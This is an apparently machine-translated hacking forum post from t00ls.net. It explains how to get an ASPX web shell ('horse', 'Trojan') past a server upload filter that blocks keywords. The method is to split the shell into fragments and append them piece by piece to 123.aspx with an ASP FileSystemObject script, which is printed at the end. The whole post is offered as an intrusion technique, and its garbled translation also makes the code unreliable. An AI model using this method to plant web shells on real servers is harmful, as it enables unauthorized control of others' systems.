Release site: t00ls.net
Released by: bincker
Time:
We all know what is going on in "first-class Monitoring System", mainly because the uploaded data is filtered out, such as varchar and so on.
Yesterday, priest said that there was a monitoring system that could not upload the aspx horse. I tried asp horse to encrypt the upload, but aspx horse was useless. Then I thought of asp append data.
The result is really good. We split the aspx horse into N pieces of code and append them one after another. For example, if the varchar character is used as an example, the first batch of "varch" and the second batch of "ar" are uploaded. However, I encountered a little trouble, that is, I always upload a line break during the upload process. This problem can be solved ......
The first-class monitoring system only checks the data reported, and does not check the reported files.
Then the code will be lost:
<%
Set MyFileObject = Server. CreateObject ("Scripting. FileSystemObject ")
Filename = server. mappath ("123. aspx ")
IF MyFileObject. FileExists (filename) then
Response. write ("this file exists <br> ")
Set MyTextFile = MyFileObject. OpenTextFile (filename, 8, TRUE)
MyTextFile. WriteLine ("split Trojan content ")
MyTextFile. Close
Response. write "APPEND successful"
Else
Response. write ("APPEND failed, unable to find append file ")
END IF
%>